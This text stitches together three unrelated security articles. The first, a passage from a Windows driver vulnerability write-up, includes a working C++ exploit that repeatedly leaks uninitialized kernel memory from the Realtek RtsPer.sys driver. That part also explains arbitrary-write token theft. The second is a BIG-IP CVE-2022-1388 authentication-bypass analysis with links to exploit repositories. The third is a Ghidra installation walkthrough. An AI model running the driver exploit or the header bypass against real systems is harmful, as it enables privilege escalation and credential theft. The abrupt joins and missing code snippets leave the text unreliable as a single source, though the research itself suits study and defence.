Alternatively, one might be able to read data directly from the System process. For example, one might read the SAM file, which is fully loaded into memory. Now, suppose you can extract it from memory. In that case, you can probably crack the hash and find the administrator password, allowing you to achieve full privilege escalation stealthily. Since you don’t really touch the disk, no anti- virus will be triggered.

So what does an info leak look like? It is mostly in the form of getting a kernel pointer of some sensitive kernelic object, but it can  also look like disclosing uninitialized kernel memory, like in RtsPer.sys Realtek driver:

DisptachIoctlFDO (PDEVICE_OBJECT Device_Object, IRP *IRP)

{

case 0x2D2324u:

      NTStatus2 = rts_ctrl_dump_paras_string(Device_Object, IRP);

...


  __int64 __fastcall rts_ctrl_dump_mem_log(PDEVICE_OBJECT Device_Object, PIRP irp)

  {

   _IO_STACK_LOCATION *CurrentStackLocation; // rbx

    PVOID Device_Extension; // rbp

    BYTE SystemBuffer; // si

    __int64 InputBufferLength; // r9

    ULONG OutputBufferLength; // [rsp+50h] [rbp+8h] BYREF

  

    CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;

    Device_Extension = Device_Object->DeviceExtension;

    irp->IoStatus.Information = 0i64;

    SystemBuffer = (BYTE *)irp->AssociatedIrp.SystemBuffer;

    InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;

    OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;


    if ( OutputBufferLength >= 0x107C0 && *(_QWORD *)&SystemBuffer )

    {

        rts_dump_paras_as_string((__int64)Device_Extension, *(_BYTE **)&SystemBuffer, &OutputBufferLength);// Read&Write memory, disable PCIs

        IRP->IoStatus.Information = OutputBufferLength;       

        return 0i64;  

     }

    else

    {

       IRP->IoStatus.Information = 0x107C0i64; 

       return 0x80000005i64;

    }

  }

}

rts_ctrl_dump_mem_log contains a serious information leakage error

At first glance, the code provided here seems solid; the driver uses METHOD_BUFFERED (because it ends with 00) for transferring data, so user data can’t make page-out its buffers; the buffer lengths are to be trusted (see Figure 11 and above).However, even when using METHOD_BUFFERED, it doesn’t make the code error free; it might lead to a false sense of security.

The easiest way to look for information leakage vulnerabilities is by looking at which data is returned and its length. Since we are dealing with METHOD_BUFFERED, the returned data is via SystemBuffer, and IRP->IoStatus.Information specifies the size (not only for this transfer type). The troubling part is that the IoManager doesn’t initialize the System buffer beyond the copy of the input buffer; in other words, if OutputBufferLength > InputBufferLength, the remainder of the SystemBuffer is uninitialized data. Thus, it  is the job of the driver writer to initialize the system buffer and return the correct length of it.

In our case, Figure16, the SystemBuffer, is not being initialized with zeros. We have no checks regarding the input/output buffer lengths, which we have full control over. Also, by looking at the else block, we can inspect a faulty logic:

IRP->IoStatus.Information = 0x107C0i64;

incorrect buffer size assignment

It turns out that by entering the else block, you get back from the kernel 0x107c0 bytes length of kernel data. To be more precise, the IoManager copied the delta between the OutputBufferLength and the InputBufferLength:

OutBufferLength = 0x107c0, InputBufferLength = 1

Therefore, we get back 0x107c0, around 64k of uninitialized data from the memory space of the System process, allowing you to read the content of the SAM file, find the system’s kernel base address and much more. Moreover, you can trigger this behavior as  many times as you wish, since it does not raise exceptions.

The exploit code is pretty trivial; the only concern we might have is finding the device name, as it is an autogenerated number (but you can brute-force it as there are only around 0x200 options and similar to how it is shown in Figure 2. Our exploit code consists of  the following:

  • Open a handle to the device that RtsPer.sys exposes
  • Allocate a buffer in the size of 0x107c0
  • Call DeviceIoControl
  • Write kernel data to a file
#include 
#include 

//device name would very so if you want to execute this code I would use DeviceTree
// made by OSR and look for the device name under RtsPer.sys
#define DEVICE_NAME L"\\\\.\\GlobalRoot\\Device\\00000066"

int main(int argc, TCHAR* argv)
{
  LPVOID inputBuffer;
  LPVOID outputBuffer;
  HANDLE hDevice;
  DWORD dwBytesReturned = 0;
  DWORD dwNtStatus = 0;
  DWORD dwFunctionCode = 0x2D2324;
  DWORD dwSize = 0x107C0;

  hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, 0, NULL);
  
  if (hDevice == INVALID_HANDLE_VALUE)
  {
    std::cout << "Error opeining the device, it's autogenerated after all, try to look for the name again" << std::endl;
    exit(1);
  }

  std::cout << "Opened a handle to the device" << std::endl;
  outputBuffer = malloc(dwSize);
  inputBuffer= malloc(dwSize);
  HANDLE hFile = CreateFile(L"a.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  //Read as many as you like :)
  for(DWORD i=0; i < 1000000; i++)
  {
    memset(outputBuffer, 0x00, 0x107C0);
    memset(inputBuffer, 0x00, 0x107C0);
    dwNtStatus = DeviceIoControl(hDevice, dwFunctionCode, inputBuffer, 1, outputBuffer, 2, &dwBytesReturned , NULL);
    if (dwBytesReturned || dwNtStatus )
      WriteFile(hFile, outputBuffer, dwBytesReturned , &dwNtStatus , NULL);
   dwNtStatus = 0;
   dwBytesReturned = 0;
  }   

  CloseHandle(hDevice); 
  CloseHandle(hFile); 
  free(inputBuffer);
  free(outputBuffer);
  return 0;
}

A short code to abuse the info leak in RtsPer.sys

This is only one of the many vulnerabilities we discovered in this driver that RealTek recently patched.

As you look at this, it seems that these vulnerabilities are easy to detect and relatively easy to fix — all you need to do is to change the IRP->IoStatus.Information to zero in the else block. Also, you might prevent all of these bugs by altering the device’s permissions, allowing only admin users and above to interact with it. We got CVE-2021-40328 and CVE-2021-40332 for the bugs in this driver.

The third type of bug we would take a look at would lead to full privilege escalation unless it is executed from a low-integrity process . A better and often more useful bug to find in the kernel is arbitrary write. This primitive allows you to write anywhere in the kernel, which presumably would let you overwrite your access token.

If you don’t recall or are new to Windows OS, every process has a kernel counterpart object called an EPROCESS; every EPROCESS object has an access token representing its security context. The System process is de facto the kernel and naturally has the most powerful access token in the operating system. As every EPROCESS resides in the kernel space, we can’t change the access token of the EPROCESS at will; we must do it from the kernel itself. But suppose we have an arbitrary write primitive? In that case, we can change any process’s access token and replace it (kidnapping was the original term) with the System’s process access token. This technique is known as a data-only attack. In contrast to memory corruption techniques, we don’t corrupt any page pool entries, which are susceptible to new mitigations such as kCFG/HVCI/HyperGuard.

Assumptions Are Everything in Bug Hunting

Finding an arbitrary write vulnerability is great but not always sufficient for full local-privilege escalation. As in anything in life, it is based on your assumptions;

If HVCI is on:

  • Regardless of your integrity level, arbitrary write in the kernel is not enough for LPE; you also need a read primitive to enable the right permissions in your token.

If HVCI is off:

  • Integrity level is Medium (most common); one can invoke EnumDeviceDrivers and NtQuerySystemInformation to get the base address of the kernel, which should allow you with some page entry corruption to overwrite the HalDisptachTable/SMEP. That would be enough for LPE.
  • Integrity level is low or untrusted (mostly browsers) — you cannot call the APIs mentioned above; therefore, no kernel base address for you. Must have an additional primitive for LPE.

What does an arbitrary write vulnerability look like? Usually, it involves a dereference of memory and copy operation from a controlled buffer, and it can come in many flavors, from bad memcpy/memmove to just arbitrary pointer dereference. Let’s see a   few of the more popular ones:

//the rsp+28h holds the input buffer

mov     rax, [rsp+28h+var_4] //destination address

mov     rcx, [rsp+28h+var_8] //source source

mov     rcx, [rcx]

mov     [rax], rcx

a vanilla arbitrary write example found in a driver we can’t comment on

Assuming our driver uses METHOD_NEITHER as the transfer type and we see the input or output buffer loaded into a register, this is an arbitrary pointer dereference. In here, both registers RAX and RCX are pointing to user-mode buffer. Of course, you have full control over their content, and you have prior knowledge of where they are located in memory because you have created them. Since we have full control over the registers, we can write to the memory address pointed by RAX ,a shellcode address pointed by RCX. In other words, we have a write-what-where type of vulnerability or arbitrary write.
Our mindset should be if we have METHOD_NEITHER transfer type, when the buffers are being used, and in which way. A pattern as such we have in Figure 19 is a bit rare but still pops from time to time.

Pure Evil Functions

We can’t talk about arbitrary write vulnerabilities without mentioning one key function that is often the source of it: incorrect usage of either memcpy routine. The memcpy function or the macro that driver developers use, RtlCopyMemory, is unsafe by design. It does not deal with write over bounds or memory overlap; the source or destination is on the same memory. There is a function that deals with memory overlap, which is memmove or the macro RtlMoveMemory. That still doesn’t solve the problem of out-of-bounds write. In addition, every  incorrect usage of one of its arguments would likely impose a bug. Please take a look at J00ru’s excellent write-up about this topic, which demonstrates the subtleties in using move/copy functions.

Let’s examine an easy-to-see bug in a driver that shall be nameless:

faulty driver logic, looks bad

The decompiled code shown here is a bit misleading as Ida, which usually makes our lives a lot easier and makes multiple mistakes in distinguishing between structure members of IO_STACK_LOCATION in the case they are unions. That leads to some confusion at first glance for us. Let’s just ignore the bug that the ioctl 0x26DC03 presents, incorrect usage with ProbeForRead, without even using the buffer. Luckily, everyone who is familiar with some kernel internals can see that things look quite odd:

// This is the input buffer length of method Buffered, should be

// CurrentIrpStackLocation->Parameters.DeviceIoControl.InputBufferLength

Length = CurrentIrpStackLocation->Parameters.Create.Options


// This has nothing to do with byte offset, it is the ioctl code, should be

// CurrentIrpStackLocation->Parameters.DeviceIoControl.IoControlCode

LowPart = CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart


// v6 is union, {_IRP *MasterIrp;int IrpCount;void *SystemBuffer;}, because we are

// working with buffers, the driver of course users *SystemBuffer which is a structure in our case

v6.MasterIrp = (_IRP *)irp->AssociatedIrp


// This is a length field because it used in memmove

Length_4 = (unsigned int)v6.MasterIrp->MdlAddress


// First two arguments are buffers, destination and source,

// they are two fields in the structure indicated by SystemBuffer

memmove(*(void **)v7.MasterIrp, *(const void **)&v7.MasterIrp->Flags, Length_4a);

correcting the variable names and types

Classic Awful Bugs

To make it look better, we press ALT-Y to choose the proper field of the correct union member of the IO_STACK_LOCATION; let’s see what it looks like:

how ida should represent the decompile output of the dispatch function

After the changes, we can see the decompiled output looks like plain C. We have a few calls to memmove, which is the first thing I would recommend doing when looking at a dispatch function. It seems the SystemBuffer is a structure consisting of source, size and destination fields, and they are supplied blindly to memmove method, what I call security at its best. These are the best/worst, depending on the perspectives you can get.

We can see we have three calls to memmove; ioctl 0x26DC04 presents a write everywhere of arbitrary content in the kernel. In contrast, ioctl 0x26FC08 allows to read from the kernel as it would later be assigned to the SystemBuffer (not in Figure 22) and returned to the user. All in all, this driver presents read/write everything functionality, which allows attackers to escalate into a privileged account by the system token. Of course, HVCI is not relevant in this case. The only saving grace we have here is the fact this driver is not accessible from normal user privilege levels, only from admin and above. Therefore, it limits the usefulness for escalation purposes. However, malware might still find this driver helpful. since it is a signed driver with flexible kernelic primitive. That is a great reason not to disclose the driver name in public.

Fixing this driver means rewriting the entire logic of the dispatch routine. Instead of doing that, the vendor changed the ACL of the device to prevent non-admin users from messing with it, and by doing so, it is no longer a security boundary. So no need to fix it

F5 Big Ip RCE (CVE-2022-1388) Vulnerability Analysis

 CVE-2022-1388 is a critical vulnerability (CVSS 9.8) in the management interface of F5 Networks’ BIG-IP solution that enables an unauthenticated attacker to gain remote code execution on the system through bypassing F5’s iControl REST authentication. The vulnerability was first discovered by F5’s internal product security team and disclosed publicly on May 4, 2022. 

What is F5 BIG-IP?

Through a combination of software and hardware, F5 BIG-IP allows the inspection and encryption of traffic passing through a network. It serves as a load balancer, application firewall, and full proxy. F5 BIG-IP is widely adopted and is one of the most commonly exposed services seen across Randori customer attack surfaces. According to F5, BIG-IP is used by 48 of the Fortune 50 and there are more than 16,000 instances of BIG-IP discoverable by Shodan; however, the management  interface needed to exploit this vulnerability is rarely internet-facing or publicly exposed. 

Is CVE-2022-1388 Exploitable?

Yes. The Randori Attack Team has developed a working exploit and has been able to successfully leverage this vulnerability as part of our offensive security platform. Randori has also released a bash one-liner that can be run to determine if a specific instance of BIG-IP is exploitable.

From our research, the Randori Attack Team is able to confirm F5’s assessment that this vulnerability can be used by an “unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services.”

Exploits:-

  1. https://github.com/bytecaps/CVE-2022-1388-EXP
  2. https://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP_RCE
  3. https://github.com/numanturle/CVE-2022-1388

Analysis

The iControl REST API is used to instrument the BIG-IP server, automate tasks, monitor the system, and more. The API is exposed on the management interface and should not be exposed to the Internet. 

To understand the root cause of CVE-2022-1388, first the authorization model of the iControl REST interface must be explained. From the iControl API documentation:

“…a user automatically has access to REST resources, but all user [sic] must acquire a token for authentication and include that token in all REST requests. Administrators of a BIG-IP® system can still make REST requests by using basic authentication. As an administrator of a BIG-IP® system, you can use the basic authentication to make iControl REST calls. For users that lack administrator privileges, the user must request a token that can be used to authenticate the user making REST API requests.”

The above defines two modes of authentication: token-based and HTTP Basic. It also highlights that the HTTP Basic mode of authentication is reserved for Administrators, whereas users are relegated to token-based methods. 

From an external perspective, connections made to iControl REST over HTTP are handled by a frontend Apache web server on port 443. This server is responsible for routing requests to the appropriate internal services. To reach the iControl REST service, a requested path must begin with /mgmt which will inform Apache to forward the message to an internal Jetty web server listening locally on port 8100.

This Jetty web server will authenticate requests that appear to originate externally and provide a token in the form of an X-F5-Auth-Token header upon success, which must be used in all subsequent communication. If a request is received by the external Apache server with this present, Apache will assume that Jetty will verify the token value and forwards along the header. 

From the Jetty server’s perspective, if a request is received without the X-F5-Auth-Token, it is assumed to be administrative and only the username of the HTTP Basic header will be verified to match either admin or root (per Vulnerability Analyst Will Dormann). These are the credentials that were observed to be hardcoded into the application for use to send trusted requests.

CVE-2022-1388 arises out of the combination of the above trust relationships and a small detail in the HTTP specification. The HTTP 1.1 specification is defined in RFC 2616. The specific section of interest for exploiting CVE-2022-1388 is contained within Section 14.10 in the description of the Connection request header:

“HTTP/1.1 proxies MUST parse the Connection header field before a message is forwarded and, for each connection-token in this field, remove any header field(s) from the message with the same name as the connection-token.”

The above applies to F5 BIG-IP, as the Apache server is acting as a reverse proxy for the backend Jetty application. This allows attackers to remove specific headers from the request that is forwarded between Apache and Jetty by naming them in the Connection header. For example, specifying the following will strip the X-F5-Auth-Token from proxied requests:

A remote attacker that specifies the above header value while making requests to the external Apache server will be treated as administrative from the perspective of Jetty.

Additionally, the Jetty application tracks the source of requests based on the X-Forwarded-For and X-Forwarded-Host headers. By including X-Forwarded-Host in the Connection header, the X-Forwarded-Host header will also be stripped:

This will blind Jetty to the fact that the request has been forwarded by Apache, and the request will be treated as though it was made from a local perspective.

The mitigation provided by F5 in their initial announcement essentially disallows any value in the Connection header other than “keep-alive” or “close” which effectively addresses the issue in lieu of a patch:

The specific interface needed to exploit this vulnerability is rarely publicly exposed, and the risk to most organizations of exploitation by an unauthenticated external actor is low. 

How do I know if I’m vulnerable to CVE-2022-1388? 

For organizations looking to understand if their F5 BIG-IP instances are vulnerable to exploitation, Randori has released a bash one-liner they can run to determine if a specific instance of BIG-IP is exploitable. 

Replace ADDRESS with the host to test:

How can I protect myself against CVE-2022-1388?

Randori encourages all organizations running an impacted version of F5 BIG-IP to upgrade to the latest patched version. 

If patching the system is not possible, Randori recommends organizations

  • Block iControl REST access through the self IP address
  • Block iControl REST access through the management interface
  • Modify the BIG-IP httpd configuration

Ghidra — Reverse Engineering Tool used by NSA

What is Ghidra ?

Ghidra is an open-source software reverse engineering (SRE) framework developed by National Security Agency (NSAResearch Directorate of United States, for NSA’s Cyberseurity mission.

The binaries were released at RSA Conference in March 2019; the sources were published one month later on GitHub. Ghidra is seen by many security researchers as a competitor to IDA Pro. The software is written in Java using the Swing framework for the GUI. The decompiler component is written in C++. Ghidra plugins can be developed in Java or in Python (provided via Jython).

It is a Java based GUI reverse engineering framework, it is able to de-compile a application from binary and understand the logic of the code. NSA used it to find malwares inside a application, it also very useful for finding bugs on applications.

How to Install Ghidra on Kali Linux 2022

We just need one command to install it on our Kali Linux system. We need to use following command:

The above command will install Ghidra on our Kali Linux system. It will download more than 250 MB and take almost 750 MB disk space on our system. So installing it will consume some time depending on our network speed and system configuration. Coffee Break 🍵.

How to use Ghidra on Kali Linux

After installing Ghidra on our Kali Linux system we can open this GUI based tool by using following command to open it up:

The above command will open Ghidra on our Kali Linux system, or we can search for it on Application menu. As we can see on the following screenshot:

Here Ghidra is showing us the “User agreement” to use this tool. We need to read it carefully then click on “I agree” for the very first time of using Ghidra.

After clicking on ‘I agree’ Ghidra will open two window, one for help another is the Ghidra framework’s main screen, we can check the help if we want, but here we close it and focus on Ghidra. It looks like the following screenshot:

Here we can see that we don’t have any active project on our Ghidra. So we need to import a project. We have an exe file here to test. First of all we need to go to  the menu File>New Project, Then we need to select our new project type, here we are choosing non-shared project.

We click on “Next”, now we need to select the project location and name. We have chosen the default home path and named the project as we wish. Then we click on “Finish”, to complete creating a new project.

We can import an application file. For an example we have an exe file. We can directly drag & drop the application file over the project or we can simply press I to import application file for testing, We can also choose from menu File>Import File.

Then we need to choose application file to test as shown in the following screenshot:

Here we have choose an shell.exe file for testing. We select it to import.

We can see some details of importing file, we click on “OK“.

Here in this window we can see the import file summary on Ghidra. We press ‘Enter↩ key here.

Now Ghidra will import the file and prompt to analyze the application file on CodeBrowser.

We click on “Yes“. Then on a new window we need to select analyzers. There are lots of analysis configuration options do exist. We can see a description of every option by clicking on it, the description is displayed in the upper-right Description section.

Let’s click on Analyze to perform the analysis of the file. Then, we can see the Ghidra CodeBrowser window. We shouldn’t worry if we forget to analyze something, we can reanalyze the program later (by going to the Analysis tab and then Auto Analyze ‘shell.exe’).

Ghidra CodeBrowser

Here we are in Ghidra CodeBrowser. From here we can analysis application data and logic. Ghidra CodeBrowser has a good and well-chosen interface. Let’s briefly know about it.

Let’s see how CodeBrowser is distributed by default:

  1. Usually, by default in reverse engineering frameworks, in the center of the screen, Ghidra shows a disassembly view of the application file.
  2. As the disassembly level is sometimes a too low-level perspective, Ghidra incorporates its own de-compiler, which is located to the right of the disassembly window. The main function of the program was recognized by a Ghidra signature, and then parameters were automatically generated. Ghidra also allow us to manipulate de-compiled code in a lot of aspects. Of course, a hexadecimal view of the file is also available in the corresponding tab. These three windows (disassembly, de-compiler, and the hexadecimal window) are synchronized, offering different perspectives of the same thing.
  3. Ghidra also allow us to easily navigate in the program. For instance, to go to another program section, we can refer to the Program Trees window located in the upper-left margin of CodeBrowser.
  4. If we prefer to navigate to a symbol (for example, a program function), then we need to go just below that, to where the Symbols Tree pane is located.
  5. If we want to work with data types, then we need to go just below that again, to Data Type Manager.
  6. As Ghidra allows scripting reverse engineering tasks, script results are shown in the corresponding window at the bottom. Of-course, the Bookmarks tab is available in the same position, allowing us to create pretty well-documented and organized bookmarks of any memory location for quick access.
  7. Ghidra has also a quick access bar at the top.
  8. At the topmost part of CodeBrowser, the main bar is located. Now we know the default perspective of Ghidra.
  9. Following the current address, the current function is shown.
  10. In addition to the current address and the current function, the current disassembly line is shown to complete the contextual information.
  11. Finally, at the bottom right, the first field indicates the current address.

Ghidra is highly customizable framework. It has tons of features and also we can run our own scripts on it. Covering every details of Ghidra is not possible on an article. Ghidra is a huge topic we must need an entire book to learn it clearly.